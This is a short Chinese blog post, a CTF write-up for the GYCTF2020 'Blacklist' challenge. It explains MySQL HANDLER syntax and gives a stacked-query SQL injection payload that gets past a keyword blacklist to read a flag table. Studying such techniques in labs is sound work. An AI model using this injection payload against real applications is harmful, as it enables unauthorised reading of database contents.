HacKerQWQ的博客空间

SQL注入之HANDLER查表

Word count: 226Reading time: 1 min
2020/10/29 Share

Handler注入

用法:
HANDLER...OPEN语句打开一个表,然后用HANDLER...READ读语句,并且读取不会被其他会话共享,最后用HANDLER...CLOSE关表

1
2
3
4
5
6
7
8
9
10
HANDLER tbl_name OPEN [ [AS] alias]

HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ { FIRST | NEXT }
[ WHERE where_condition ] [LIMIT ... ]

HANDLER tbl_name CLOSE

[GYCTF2020]Blacklist

开局一个框,后面全靠猜

这次禁的比强网杯的那个supersqli还狠

但是;没有禁,那就查表的结构看看

FlagHere和默认查询的words表,下面是FlagHere的结构

这次没有放过SETSELECT了,跟之前不一样
那就用这个HANDLER查询试试,相较于select官方也更推荐HANDLER
payload:

1
1';HANDLER FlagHere OPEN;HANDLER FlagHere READ FIRST;HANDLER FlagHere CLOSE;%23


针不戳

总结

要学会去官方文档里面查表,英语要过关,翻译要快,懒不得懒不得

CATALOG
  1. 1. Handler注入
  2. 2. [GYCTF2020]Blacklist
  3. 3. 总结